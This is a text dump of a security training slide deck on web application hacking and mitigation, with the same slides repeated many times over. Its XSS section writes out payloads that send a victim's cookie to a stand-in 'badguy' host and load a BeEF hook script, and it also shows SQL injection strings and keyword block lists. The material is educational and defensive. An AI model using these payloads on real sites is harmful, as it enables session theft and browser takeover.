bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 46: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 47: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 48: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 49: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 50: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 51: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 52: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 53: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 54: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

